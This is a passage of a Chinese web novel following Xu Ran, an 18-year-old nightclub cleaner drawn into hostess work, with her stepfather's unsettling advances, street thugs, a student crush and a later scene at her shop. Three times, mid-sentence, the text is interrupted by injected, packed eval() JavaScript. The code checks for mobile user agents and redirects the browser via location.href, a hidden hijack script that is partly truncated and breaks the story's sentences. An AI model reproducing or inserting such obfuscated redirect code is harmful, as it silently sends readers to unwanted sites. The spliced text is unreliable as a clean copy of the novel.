许冉偶尔才回一趟家,他态度还算好,用筷子剔着牙缝里的肉,问她,“小冉现在换了工作,一个月赚多少。” 许冉心里斟酌,说赚2500。 ——报多了怕他问她要钱。报少了怕他又要抱怨交过的学费回不了本,夫妇俩又闹不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15144305|164641||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 愉快。 “你们那蛋白粉搞两罐来我喝喝。都说补身体的。” “店又不是她开的。小冉得自己掏钱的。”到底是亲生骨肉,王玉芬心疼女儿。 蒋东杰啧了一声,没说话,伸筷子在碗里挑拣。 王玉芬问许冉,“你在外面做事,别跟着人学坏了。别乱谈朋友。” ——王玉芬见过万小琴一面,觉得她‘不正经’。 蒋东杰眯着眼睛笑,“这么大了,要学坏早学坏了,是吧,小冉。” 许冉不接他的话茬,只觉得他的目光令她后颈发麻。 一顿饭吃得寡然。饭后王玉芬又进了厨房继续张罗赌客的晚餐,蒋东杰打了两个饱嗝,坐在餐桌旁开始掏耳。 许冉说:“妈,我走了。” 把垃圾带走。王玉芬在厨房吩咐。 没等许冉应,蒋东杰先起了身,说:“我去扔。顺便下去走走。” 下楼的时候许冉走前面,蒋东杰走后门。二楼的声控灯她去年搬出来的时候就坏了,亮了又暗,像是打什么哑谜。 蒋东杰夏天喜欢光着膀子,很具象的一副□□,在她身后散发着热气。 楼道里的灯好像总是在他们身后,因此他的影子便总是笼罩着她,像个没有觉知的巨人。 许冉走快两步,蒋东杰也走快两步。不知谁家的熏鱼烂在了防盗窗上,没人管,若隐若现的一种腥味,挥之不去。 下了楼,蒋东杰叫住许冉,伸手忽然捏住她手腕,“冉冉瘦了。下周你再回来,给你搞只野鸽子补补。” 他的手心全是油和汗,渍在她的手背。许冉挣脱,“不用了,蒋叔。” 许冉不蠢。自她十五六岁始,就察觉蒋东杰常有这种令人不安的举动。他很聪明,常常避开王玉芬。 他也懂得点到为止,令人抓不到什么实证。 万小琴说,这样的老流氓,你就应该跟他正面开干。我让紫毛帮你打他一顿,出出气。行不行。 许冉摇摇头。 万小琴翻个白眼,窝窝囊囊的,我懒得管你。 为什么容忍?许冉说不清,也想不明白。也许是因为他好歹养了她们母女十年,吃人嘴短。也许是她希望蒋东杰能对王玉芬更好些。 也许是...她觉得王玉芬不会站在她这边。 她才十八岁,想不明白的东西太多了。 再往前拐两道,就是登高巷。登高巷离二中近,学生多,吃的也多,许冉其实没吃饱,想再去买份炒面。 万小琴最羡慕她这一点,怎么吃也不胖,人还是细细一条。 “喂。小妹妹。一个人出来玩啊?” 这条巷子很静,外街只传来极为朦胧的车声,潮起潮落,偶尔听到老人咳痰,新闻联播已近尾声。 巷口只有一盏灯,灯下的台阶上歪歪扭扭,懒懒散散,靠着蹲着立着,一共三四个人,正好挡住她去路。 ——许冉心里暗骂倒霉。碰见小流氓了。 刚刚开口的那个看着个头比她还矮,穿件鬼画符似的t恤衫。 “把你钱包拿出来看看。”另一个穿皮裤的说。 我没钱。许冉说。 “你二中的吧。二中都是有钱的。你别跟我兜圈子。”小个子说。 方才饭桌上王玉芬还说了,要她回去时走大路,最近这一片有几个小混混,专‘绵’二中学生的钱。 “我不是二中的。” ‘皮裤’啧了一声,懒得和她多废话,三步并作两步来抢她书包。 许冉识时务,给他了。钱都给了奶奶和姑姑,她钱包里只剩一张二十,准备买炒面的。 皮裤只搜出一包王玉芬给她打包的卜豆角,和一小份凉拌猪耳。许冉打量皮裤,大概比她还小几岁,耳朵后面刺了个‘忠’字,好笑极了。 “妈的,现在学生一个比一个穷。” 他把二十抽出来。包扔回她脚边。 “小亮,让她走。钱还给她。” 皮裤回头,想说什么,又吞了回去。恋恋不舍地攥着那二十块钱。 许冉循声。 这才看见后头的花坛边上坐着一个人,长腿半屈,有些局促,微驼着背,全身写着颓懒无聊。 这人的左手衔着烟,也不往嘴边送,眼看火星愈来愈暗,成了黯红的鬼魅的眼睛。 老式的马灯下是一段漫长的阴影。 夏夜温柔,风和时间路过,决定有所停留——在眼泪里造舟,在琥珀上刻痕。 等待慈悲,等待光明,等待故事开场。 许冉抱着书包走了神,不知怎的,想起童年灰青色的田野,想起田野尽头悬挂的白色月亮。 她看清了这人的脸。被身后的光与影分割成凌厉的阴与阳。一双幽幽的深黑的眼睛。 ——和那天被按在泥里像狗一样挨揍的样子判若两人。 5. 2014 “小山哥让她走。你愣着干嘛。”小个子说着兜着屁股踹了皮裤一脚。 皮裤不乐意,又不敢冲‘小山哥’发脾气,转头给了小个子一巴掌,“我艹,还轮不到你指挥老子。” 两个人猴似的突然扭打到一起,滚得乱七八糟,叽里哇啦。 又有人来拉架,一时好不热闹。 狸花猫趴在屋檐上瞪着绿眼睛看热闹。 许冉神游天外,觉得万小琴说得对,男人都是野蛮的动物,他们制定规则,控制一切,所以这个世界也这么野蛮。 等他们过了一轮招,各自气喘,‘小山哥’才把烟掐了,站起来,抬手将二十块从皮裤手里拽出来,塞进许冉手里,偏了偏头示意,意思是说——“你走吧。” 是很年轻的一张脸。眉眼间仍是青涩的少年气息,像春天的野草,却硬要锁着双眉抿唇故作老沉,过了头,反而叫人看出破绽——俗称耍酷。 后头有个满脸痘坑的小卷发看来与他关系最好,打趣:“老三,新女朋友啊。” 小卷发叉着腿靠在一辆很破的小电驴上。电驴的两只反光镜丢了一只,可怜兮兮的。 “不认识。” “这不就认识了。”小卷发走上前,揽他的肩,龇牙对许冉笑:“小美女你好,幸会幸会。” ‘小山哥’肩一耸,把他手甩掉,蹦出两个字——快滚。 也不知道是在对谁说话。 楼上有中年男人推开了窗,“小崽子再吵就报警。” 许冉不跟这群‘猴子’耽误时间,抱着书包一溜烟跑了。 ‘他一定是认出我了。’她想。 ‘不过要是是我,我也装不认识。被人按在地上揍,够丢脸的。’ 毕竟万小琴还说过,‘男人的面子大过天。’ - 卖炒粉的摊子今天也不在,许冉扑了个空,到家的时候已经快十点了,万小琴去上班了,她中午吃的盖浇饭还在折叠餐桌上。许冉收拾了桌子,又给自己泡了个方便面。 说是两室一厅的屋子,其实是前屋主自己隔开的。小小的厅里支了餐桌就过不了人。厨房更是旧且狭窄,油烟机两盏扇叶坏了一个,开火炒菜屋里会顿时浓烟滚滚。 不过她们俩也都没有开火做饭的闲心。都日夜颠倒,忙着谋生,忙着在这个城市的黑夜里挣出一点点属于自己的光明来。 许冉最喜欢吃方便面。泡面她想起许明宗,想起小时候的暑假他带她坐火车旅游,两桶泡面,两罐健力宝,一包九制话梅。他们去过桂林,去过昆明。许明宗承诺她十二岁那年带她去北京。 许冉吃着喷香的红烧牛肉面,冒着汗,想起许明宗的时候并不觉得难过。 王玉芬常说她嘴巴是硬的,心是冷的,养不熟的小白眼狼。 吃完面,洗了澡,疲惫一扫而空。她给保洁队的杨姐打电话,问她今天晚上还缺不缺人。杨姐说,你早说啊,刚刚临时喊了小刘来。 许冉又给万小琴打电话,她没接,估计已经到场子里去了。周六是夜场生意最好的时候。 她换了吊带,湿着头发躺在凉席上,屋里又闷又潮,她也懒得再爬起来开风扇,任由汗静悄悄地透出来,很痒,像有昆虫爬蔓过她的身体。 她在黑暗里瞪着眼,算着欠万小琴的钱多久才还清,还有说好了和万小琴一起开美甲店的钱,又何时才能凑齐。不过也许,万小琴也只是说说而已,她说她的理想是在家当富太太。 朦胧想着这些,睡过去了一会儿,反复被热醒,再次清醒是听见万小琴回来了,在厅里娇笑着,还有个男人的声音,是紫毛。 许冉睡不着了,披了衣服出去。 万小琴见了她挺讶异,说:“你怎么不在自己家里歇一晚。” 许冉耸耸肩,没提蒋东杰和棋牌室的事情。 紫毛穿一件滑稽的不合身的西装,热得满头汗,跑去厨房狂喝自来水。 万小琴今天也是衣着火辣,牛仔抹胸短裙,长皮靴,大红唇,银色眼影。她和紫毛都是浑身酒气,东倒西歪,但情绪很亢奋,抓着许冉的手腕喋喋不休,语无伦次。 紫毛打开了电视看欧洲杯,看了两分钟就靠着墙睡着了,鼾声如雷。 “小冉,小冉你知道吗!今天玻璃盒子开了。听她们说有人开了瓶十万的酒。”万小琴手舞足蹈。 “十万。你知道那是多少个零吗。”万小琴掐的她有点疼。 “你猜今晚是谁上去跳的舞?” 许冉迷迷瞪瞪地,“koko?” 万小琴竖起手指晃了晃,说,是琳达。 路西法的卖点之一就是夜场上空铁索悬吊的巨型玻璃盒子。许冉来了两个月,玻璃盒子从没有亮过。万小琴说,如果夜夜都亮,那人们就不觉得神秘新奇了。 偶尔打扫垃圾的间隙,许冉会抬头看那个盒子。它像一只蛰伏在黑暗中浑身附满鳞片的怪兽。 至于玻璃盒子什么时候才会亮,连万小琴也不确定,左右打听,有的人说是当夜零点销售流水超过100万,有的人说是酒水单价消费超过二十万。 “本来以为只有koko跳的好,没想到琳达也跳的那么。难怪都说邵总最近去出差都带着她。混血就是不一样,天生的,那身段一扭。灯光效果特别好看。要是我有一天也能上去跳就好了。你看着吧,明天找琳达开台的肯定要翻倍。” 她又絮絮叨叨些别的,忽然又像清醒了一点,戳戳许冉的脸,说,“今晚之后场子里又有戏看了。” 许冉撑着下巴打了个哈欠。 也是。 玻璃盒子与舞蹈本身都不重要,重要的是人们永远猜不到它何时亮起,又为何而亮。 无尽混沌中偶尔的光芒乍现,此后的暗潮和波澜,人人都想窥视。 神秘,极致,赤裸,无序,这才是路西法的吸引力所在。 - 第二天许冉起得晚,万小琴和紫毛都不在家,餐桌上躺着一只新皮包,是万小琴心心念念了很久的款式,logo她认得,LV嘛,王玉芬也有一个,托朋友在广州的皮具城买的,但买回来第二个月皮就裂了口。 都是皮包,怎么有的五十,有的一万呢。她想不明白,伸手去摸了摸那个包的金属扣子,滑滑的凉凉的。 桐城的夏天愈来愈深,知了趴在窗外的梧桐树上口渴难耐,室温到了正午极速地攀升,炙浪从玄关唯一一扇窗扑进来。 ——指尖的凉意令许冉着迷。她拎起金属链条,挂上自己裸露的肩膀,着迷地看门后穿衣镜里的自己,露出一个微笑。 穿衣镜是破的,被紫毛砸破的,他们俩好的时候难解难分,吵的时候也很吓人,紫毛喜欢砸东西,万小琴则用尖尖的指甲掐得他嗷嗷叫。 许冉忽然回过神。 镜子里的人太陌生了,她吓了一跳,慌张地把包放下,又抽了纸巾,胡乱地擦,心里非常内疚。 许冉怀着这份内疚把家里里外打扫了一遍,上上下下跑了好几趟楼梯扔垃圾,跑得满头大汗,脸颊通红,楼道里遇上同层的邻居,牵了条泰迪,狐疑地打量她。 万小琴那些丢的到处都是的短裙热裤,许冉一件件给她折好了,整齐地码在床头,不小心碰了她的枕头,枕头下露出几个小小的方形的东西,很夸张的颜色和图案。 许冉当然知道那是什么,脸上发烧,赶紧给她藏好。 路西法的员工化妆室里的话题向来荤素不忌,万小琴更是根 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15144306|164641||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本不在乎,经常把和紫毛在床上的细节拿出来扯闲谈。 其实读职高的时候几乎人人都谈恋爱。 也有几个追她的,尤其有些印象的是个长相秀气的男孩子,单边有虎牙。但她那时一直在打工,太忙了,根本不常去学校,想都没想就拒绝了。毕业的时候那男孩儿跟同班另一个女孩儿好了,据说今年已经订了婚,请了许多班里的同学去。 万小琴看过她朋友圈里那张订婚照片,戳着许冉的脑门说她傻,不会把握机会,她说这男生爸爸一看就是做生意的,有钱。 别人说这话许冉也许不信,但她信万小琴。做夜场陪客的,哪个没有一双火眼金睛。 “论长相你比她好很多。”万小琴点点新娘的脸,“就一点,你不如她。” “什么。”许冉好奇。虽同班,但她对这位女生印象很浅,她很文静,家里条件也还不错,本地人,不住校,许冉经常看到她父母开辆白色尼桑来接她。 “这里,”万小琴咯咯笑着,偷袭她的胸。 许冉从前从未对自己身体的美丑有过客观的审视,不过最近不一样了,她开始留意自己的身材,学习万小琴打扮自己,有时候万小琴和紫毛卿卿我我的时候,她也会忍不住偷看——因为许冉喜欢上一个人。 - 等卫生做完就过了晌午,许冉在楼下吃了一份青椒猪肝拌面,急匆匆上了公交车过了河往槐南路去。 除开晚上的工作,她还找在槐南路大学城附近的一家炸鸡柳奶茶店做临时工,虽然工资不高,但也是一份收入。 她喜欢的人叫林启,也是店里的临时工,桐大大二机械工程系的学生。 他家在省里一个出了名的贫困县,整个暑假他都没有回家,除了在炸鸡柳店打工,也给人做家教。虽然出身不好,但林启从来不卑不亢,话不多,人很沉静,与人说话的时候会直视对方的眼睛。 许冉喜欢他的平和。 店里时常只有他们两个人,门帘一放,外头的噪声也被隔绝了,只剩下琥珀色的油在油炸机器里发出轻轻的哔啵声。 店里进来几个女学生,桐大舞蹈团的,算是这里的熟客。据说艺术团的女孩儿都要控制体重,所以她们从不点鸡柳,奶茶也是不加糖的。 林启给她们点单。其中一个长卷发大眼睛的漂亮女孩儿说,“同学你是本校的吧,我们一起上的通识课。俄罗斯美术史。” 旁边的几个姑娘都在起哄。空调轻盈的风把她们的发梢吹得轻舞飞扬。 那个姑娘一点都不羞赧,又玩笑:“都是同学,买奶茶能打友情折么。” 许冉在旁边低着头给鱿鱼穿串儿,满手都是黏液,听见林启很轻地笑了一声,指了指墙上,“凭学生证送一份淀粉肠。” “喏。”姑娘大方地把学生证递到林启的鼻子底下,“我叫薛嘉。” 此后一周,薛嘉几乎天天都来,有时候和朋友,有时候就是一个人,也不缠着林启,点一杯奶茶,坐在窗边的位置喝,看看漫画玩玩平板,很自在,喝完了就走,也不强求和林启说话。 许冉觉得她着实是个令人觉得愉悦的女孩儿,有时候她与许冉搭话,说些很平常的事情也是绘声绘色,譬如外卖被偷,校猫生崽之类的。 那种轻盈的氛围也能让许冉开心很久。 下班的路上万小琴醉醺醺地替许冉认真分析,你得学人家,主动一点。好女怕缠郎,男的也一样。 许冉的身上都是舞池烟酒熏出来的混沌气味,可她走在夏天的深夜里,抬头看天上的星星,又想起林启,觉得周身都很干净。 启是启明星的启。 她没喝酒也像醉了,挽着万小琴的胳膊傻笑,说,我觉得他也喜欢我。 6. 2014 转眼就是七月。 桐城愈发潮热难当,人像泡在水里,要肮脏地和这个夏天一同融化掉。 偶然会下一场雨,换来半天的凉爽干净。 不过雨天蛇虫百脚都会躲进屋内。 前天许冉亲眼见着一只蟑螂大摇大摆地钻进微波炉的缝里,昨天又在许久没穿的牛仔夹克口袋里翻出一只壁虎。 壁虎断尾求生,却还是被许冉眼手快地扣在了外卖盒子里。截断了的尾巴左摇右摆了好一阵,被她扔出了窗外。 晚上六点多万小琴回来,开玩笑,“哟,养宠物了。” 许冉笑笑,在网上搜壁虎的食物。她纯粹出于好奇囚住了这只壁虎,想看看它的断尾什么时候可以完全复原。 “尾巴断了。”万小琴凑近,又说:“诶,你知不知道koko养蛇。” 许冉摇摇头,瞪大了眼睛。 “我也只见过照片。好几条,最大的是一条蓝眼睛的大白蛇。可瘆人。莎莎说以前就养在三楼她的化妆室里,后来好像搬去了邵总给她买的房子里。是邵总托人从东南亚给她带的。” 万小琴被她震惊的表情逗得发笑,坐下来翘着二郎腿欣赏自己的新美甲。新美甲做了延长,贴了钻,一看就要不少钱,万小琴平时也挺抠挺省的,在外的高档消费多半都是紫毛掏钱。 欣赏了一会儿,她又站起来翻箱倒柜地换衣服,先换了件白色吊带裙,不满意,后又换了一条黑灰蟒蛇纹的裹身裙,给自己的薄眼皮上铺上一层深绿色的眼影。 许冉问:“你今天不是休假?” “琳达和koko都不在,老马说今晚其他人发不到好菜,叫我顶上。”万小琴掸了掸化妆刷,“钱嘛,不赚白不赚。” 正聊着,楼下忽然车喇叭滴了两声,挺突兀。万小琴光着脚跑到窗边,嗔笑到,“我就来,急什么。” 许冉也往窗外看,紫毛穿件垫肩的棕色西服,靠在一辆神气活现的宝马大越野前面咧着牙笑。听说他前阵子跟着老板在广州跑业务,得了老板器重,车钥匙也交给了他,他有事没事就开来载万小琴出去玩。 “走吗,去兜兜风?江边放烟花呢。”万小琴问她。 “不了。”许冉摆摆手,“晚上店里见。” - 许冉鼓起勇气约了林启吃晚餐。 当然不算是约会,只是白天在店里和林启闲谈,他说在微博上刷到二中附近的登高巷,好像有很多好吃的。 许冉就在老城城南长大长大,自告奋勇要带林启逛逛。 他们先去了二中门口买绿豆冰沙和卤肉卷。此时太阳堪堪下落,桐城总算有了一丝凉意。 “初三的时候二中来县里挑人,挑前三名,我考了第四。” 他穿着白衬衣,笑的时候有些落寞。 “二中可苦了。没去是好事。” 许冉小时候学习倒还不错,父亲去世,母亲改嫁,奶奶重病,就再没了读书的心思,只想着如何早点脱离那个‘家’,出来赚钱。 “苦才是好事。就怕我们那种小地方的学校,老师根本不管。” “那你还考来了桐大,很了不起了。” 林启笑了笑。 “也许还能更好。如果...” 许冉知道他要说什么。林启的爷爷在在工地上搬砖供他读书,高考前夕爷爷出了事,被脱落的脚手架在后脑勺上砸了个大窟窿,为了医药费他到处求告维权,事情不了了之,爷爷去了,他高考也受了影响。 “林启,我看你的手表停了好久了,怎么没去修。” “这是我爷爷的表,太老了,修不了了,他以前是钟表匠,后来眼睛坏了,才去卖力气。” 林启盯着手腕上的表看,许冉盯着他的侧脸,她的心在晚风里一再叹息。 她想起了奶奶。他们太相似了,她很少怜悯自己,但她对林启的喜欢里却都是怜惜。他那么好,那么温柔寡言,又那么干净,他得拥有他想要的一切才行。 她带他去吃钵钵糕和狼牙土豆,又带他去吃麻辣拌和小龙虾。林启太瘦了,他经常不吃晚饭,炸鸡柳店里的油太大了,工作了一天人总是没有胃口。 林启问她是不是经常来二中玩。 她说,我在二中附近长大的,我家就在不远。 说到‘家’字的时候,她先想到了那间棋牌室,又想到了自己的出租屋。她从来没有跟林启说过家里的事情,只是说辞了上一份工作,下一份还在找。 “你打工的事儿父母知道吗?” “不知道。”许冉冲他挤挤眼睛,“请你替我保密。” 林启笑了笑。许冉猜想,大概在他眼中,自己是个有点不思进取的人。 剥开第十九只小龙虾的时候,万小琴给她打电话。 许冉双手都是红油,把电话夹在脸侧。 万小琴聒噪尖细的声音轰炸出来,“千载难逢的机会,马哥这里缺人,要你今晚来气氛组帮忙。姐靠谱吧。你可得来,我可是求了他好久。” 万小琴抻着手指捂住听筒,生怕被对桌的林启听了去。 “我...”许冉支支吾吾。她和林启约了,等会儿十二点去江边看烟花。 “许冉你别告诉我你不想来。业务组提成够你扫三个月厕所的。你不缺钱了?” 钱这个字如当头棒喝,让许冉清醒。 挂了电话,林启见她面露难色,问:“出什么事儿了?” “我姐姐家开大排档的,她那儿缺人,催我去帮忙。” 许冉说真话时慌张,撒谎时眼都不眨。 在这之前她从来没觉得在夜场工作低人一等。 她的道德感还很模糊,所以她从不批判别人,也很少审视自己。没偷没抢没害人,怎么就低人一等呢? 但面对林启干净的眼睛,关切的神情,她第一次觉得羞耻,下意识地藏起关于自己的一切。 她希望在他眼里她也干净,轻盈,没有太多忧愁。就像薛嘉那样。 “远吗?我送你?” “不了,我搭摩的去,很快。”许冉问林启,“你还去看烟花吗?” “不了,我也回学校了。下个月的十五号也有烟花,想一起吗?我等你。” 许冉愣了愣,站在炸糖糕摊前很认真地点点头。 她想万小琴是错的,这个世界上不是所有的爱情都与钱相关。他们都没有钱,但显然相互喜欢,他们的爱情和这个城市的烟花一样是免费的,但仍然美丽的。 这个‘等’字令她幸福又心酸。 - 许冉到的时候,正好十一点,万小琴正在后门边抽烟边等她,见她来了不耐烦地催:“你刚去哪儿了,身上一股油烟味。衣服呢,带来了没。” 许冉点点头,摸了摸背包,里头装着万小琴的那件白色吊带短裙。 万小琴赶着她往化妆间走,说,“这裙子你穿肯定比我穿好看。” 化妆间里闲闲散散聚了三四个人在聊天说笑,有莎莎,小娟,还有个生面孔——狭长的上挑的笑眼,丰满的唇,笑起来柔而妩媚,并不低俗。 许冉看她,她也看许冉,温柔地对她一笑。 万小琴介绍说这女人叫“小橙”,以前在对面的‘黄金时代ktv’上班,是她帮马哥‘挖’来业务组的。 见许冉来了,几个女孩子叽叽喳喳围着她,自告奋勇给她涂脂抹粉。 这件屋子没有窗户,是半地下室,只有墙角安了一扇排风扇。 许冉任她们摆弄,配合地睁眼,闭眼。 地板返潮,苦夏的气味暧昧不明,香水和脂粉的甜腻混在一起,风扇百无聊赖地摆着头,万小琴和小橙细声在聊芭提雅旅游,门开了又关,高跟鞋笃笃地来来回回,楼上舞池的音乐和鼓点幽浮在空气里,听不真切,心却跟着轻轻地颤,欲说还休,昏昏沉沉。 许多年后,这个场景仍经常出现在许冉的梦里,带着离奇而危险的甜蜜感。 小娟要给许冉的头发上卷儿,莎莎不让,说她这条裙子得配个清纯的直发才好,又说,这头发又黑又多,羡慕死了。听姐的,别老扎马尾,容易秃顶的。 莎莎长得不算好看,但个子高挑,性格可爱,人缘很好。她有各式各样的假发,从不摘下来。 莎莎从不和夜店的男人多往来,下了班就独自回家。 万小琴觉得她假正经,背后编排她,说她肯定是斑秃了,不敢让人看。 莎莎听说了也不介意,只跟着大家一起笑。 许冉化了妆,去换了裙子,换完才傻了眼,腰身有点宽,胸口更是过大。万小琴身材太火辣,还喜欢穿各种‘聚拢型’内/衣。 她缩着脖子捂着前头出去,大家一看就知道是怎么回事,又纷纷打趣万小琴。 万小琴恼了,说,你们快给我想想办法,我可是答应了马哥的。 这时琳达从外头款款走进来。她显然已经喝过一些酒了,苍白的脸颊上一片暧昧的酡红。 “怎么扮起来了。”她笑笑。 自从琳达去了‘股东部’之后万小琴就愈发对她另眼相看。 琳达现在跟着邵总进出,万小琴想着与她处好了关系,自己以后去股东部也更有把握。 “琳达姐,你怎么来这儿了。”万小琴热情招呼,“今晚人多,马哥让我妹妹来顶上。我妹妹一直想来业务部来着。” 琳达斜倚在化妆桌前,燃了一支女士香烟,扫了许冉一眼说,“莉莉嘛,见过的。这裙子怎么不找身合适的。” “临时借给她的。她临时来帮忙,也没什么像样的裙子。” “我柜子里好像还有一两身裙子,一小姐妹送我的,太小了,我穿不下。” 莎莎去取,说,这裙子好啊,花骨朵似的。 许冉一试,确实很合身,并不暴露,材质摸着也高档,棉麻混纺的料子,藕荷色,宽肩带,波浪形的前胸,衬托出脖颈儿和锁骨。 万小琴给许冉喷香水,说,你得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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过一会儿那个‘二代’也来了,少说也有三十岁了,带了两个人,大概他出入这种场合多,耷拉着眼皮,见怪不怪的神情,坐下来闷头喝了两杯酒。 那种倦懒而烦厌的眼神,和这里的红男绿女不同,另许冉印象深刻。 许冉感觉到他的目光在她身上短暂地停留了一阵,又挪开。 ‘二代’身边贴身跟着一个男人。眼神阴鸷,脸颊左侧贯穿至颧骨有一道骇人的长疤。 许冉看他一眼,被他的目光扫过,打了个寒噤。 ——丘胖子请‘二代’来是来谈事的。 紫毛说这个人挺神秘的,多半只跟丘胖子单独见面,也很少出入路西法这种显眼的地方。 这会儿丘胖子也不和小橙腻歪了,毕恭毕敬地和他耳语着。小橙很懂得看眼色,也不去缠他们,乖乖在一边给他们分装果盘。 十二点过后,来了第三波人,有五六个,为首的那个是紫毛提过的‘闯哥’,刘闯。 刘闯在市里开连锁汽修厂,据说还有些招待所,ktv也在他名下。当然,这只是表面生意。 刘闯在桐城一向高调,蓄了络腮胡,左手的金扳指亮闪闪的。‘二代’见了他,抬眼喊了他一声‘哥’。 刘闯亲昵地按按他的肩膀,说,现在真是难得约到你。 ‘二代’抬眼指了指许冉,说,“你,陪陪闯哥。” 许冉吓一跳,哆哆嗦嗦地不敢起身。 万小琴在底下掐她:“快去啊。愣着干什么。” 许冉刚坐下,刘闯的手就搂上了她的肩。 他的掌心很厚,很多的茧,刮得人都有些疼,他身上有一种腐味,像藏在柜子里五十年的一块动物皮草。她在蒋东杰身上也闻到过类似的味道。 许冉学着万小琴和小橙的样子,夸张地笑,说些傻话,崇拜的表情。来这里的男人都这样,喜欢女人们纯洁又愚蠢,又希望她们聪明殷勤。 刘闯和‘二代’喝了两轮酒,嘴凑在她脖颈儿旁边喷热气,许冉下意识躲,刘闯以为是情趣,手从肩一路往下,问她:“你多大了。” “十八。”许冉咬着自己的唇。 “之前没陪过男人?今晚跟我走?”刘闯见她年纪小,越发喜欢,不客气地捏了捏她的腰,又拍了拍,说,“去,开瓶酒,你们这里最贵的。记你头上。” 许冉因为害怕,不由自主地发抖。 万小琴听见了,羡慕得要死。这儿常年备货的酒里头最贵的要五万多一瓶,提成到业务人员头上也是好几千。 许冉只想离他的手远一点,堪堪站起来,又被他在屁股上拍一把,说,“正好,小山,你陪她去开酒,给现金。” 许冉闻言抬头,来人正死死地盯着她的脸。 这是许冉和谢存山的第三次相遇。 她的pi/股上是另一个男人的巴掌,而他的手里的公文皮包里全是红彤彤的人民币。 7. 2024 x 2014 【2024】 许冉前脚刚来,后脚警察就到了。 店里下跪的,拉架的,大呼小叫的,一时都噤声,隔壁鸭霸王卤味店的老板娘抱着狗探出头。 “我们开着店开得好好的,他们进来就打人,还要砸店。” 姜璐迫不及待地告状。 “你们把警察叫来也没用,”墨镜女盛气凌人,“我什么证据都有...” 墨镜女的目光扫过许冉,停住了。 许冉轻轻哎呀一声,笑起来,“我们这里进进出出的男人太多了,我还说是谁呢,原来是黄处长夫人。” 墨镜女取下墨镜,露出一双浮肿的眼睛,“你...”你了半天,“你认得我老公?” 许冉嫣然一笑,“哎哟,宝辰的陈总家里一起喝茶认得的。之前我刚从广州回来,去陈总家拜码头,见过黄处一次。” 女人眼皮一跳。 本是男人美美隐身,大婆教训小三出气的常规戏码,突然插进来一个‘熟人’。 一个‘熟人’牵扯一群‘熟人’,计划全乱。 女人的丈夫是工商/ju的中层干部,去年还评了区里的先进个人,女人是单位出纳,也算模范家庭。 好事不出门,丑事传千里,若是闹大了,男人在社交圈里抬不起头,回来肯定要怪她的。 许冉又问,“您找小燕有事儿?” “也不是什么大事儿。”女人笑得比哭得还难看。 许冉回过头,小燕头发蓬乱,脸上都是泪。 旁边拎公文包的男人很会看眼色,咧着嘴笑说,原来都是熟人,误会误会。这样,老板娘,我们把人借走说点事儿再给您送回。 小燕又哭了,拽着许冉的胳膊,头摇的拨浪鼓似的。 许冉绕到柜台开了包烟,递给了那个拎公文包的男人,“要不这样,有什么事儿去里头员工休息室说。警察也在,也做个见证。别等会儿人出了事情,反倒说不清楚,给你们添麻烦不是?” 拎公文包的男人大概是女人的哥哥,劝了她两句,女人就应了。 四人进去后,也没什么大动静,毕竟警察在,动手是不敢的,女人的声音偶尔拔高,又迅速低下去。 警察照例要许冉出示营业执照,身份证,又例行公事问了几个问题。 姜璐悄悄问:“姐,你早知道有这出啊。” “也是凑巧。那天你给我说这事儿,我调了监控一看就觉得男的面熟。一起打过牌。” “呸。男人,没一个好东西。这小燕也是,不安分,图啥啊,又丑又老一身赘肉还狐臭。” 那个来的老警察斜眼瞟了她一眼,倒是身后跟的那个小警察,听了抿着嘴直乐。 过一会儿那四人出来了。小燕啜泣着,脸都白了。 许冉又笑盈盈地递烟,说:“那天陈总还夸呢,说黄处长家里是模范家庭,夫人最善解人意。黄处长还给我们看了全家福,您儿子可真可爱。” 女人脸都绿了,皮笑肉不笑,领着人气哄哄地走了。 闹了这一出,大家都没了做生意的心思,小燕伏在桌上啜泣,仿佛受了天大的委屈。 她是那种极有主见和早熟的女孩儿,家在农村,重男轻女,十六岁她就跟着亲戚出去打工,还往家里汇钱。 她没学历没力气,只有一点青春做资本。 人不为己天诛地灭,她凭本能和本事攥紧一个对自己好的,有地位的,图一点钱,一点利,一点关心,她觉得她没错。 “你跟什么烂男人我都不拦你,但你跟客人胡来,把店的招牌砸了,就是不行。我带你来的时候冉姐就说了的,第一条就是不能跟客人不清不楚。”姜璐说。 小燕看许冉一言不发,也慌了,求情,“冉姐,下次再也不会了。” 许冉心里早有了主意,摇摇头说,规矩就是规矩。我给你预支一个月薪水,你也别让我为难。 小燕知道这位老板娘平时随性好讲话,大事上却是个说一不二的人。 她也再懒得纠缠,遭人白眼。 ——不就是个小破店么,她也不稀罕,啪啪地收拾了东西,把玻璃门大力一推,人就走了。 姜璐气得把扫帚往地上一摔,“都是她招来的事,一下午没开工,她还发脾气。姐,你人也太好了,还给她发工资做什么。” 许冉把还有些湿气的头发胡乱挽起来,看看窗外已是黄昏时分,玉林路早就堵了个水泄不通,车烦躁地鸣着笛,电动车在期间灵活地穿梭,放了学的孩子三五成群,钥匙挂在胸前叮当作响。 下了班的情侣,拖着手不放,走得最慢。 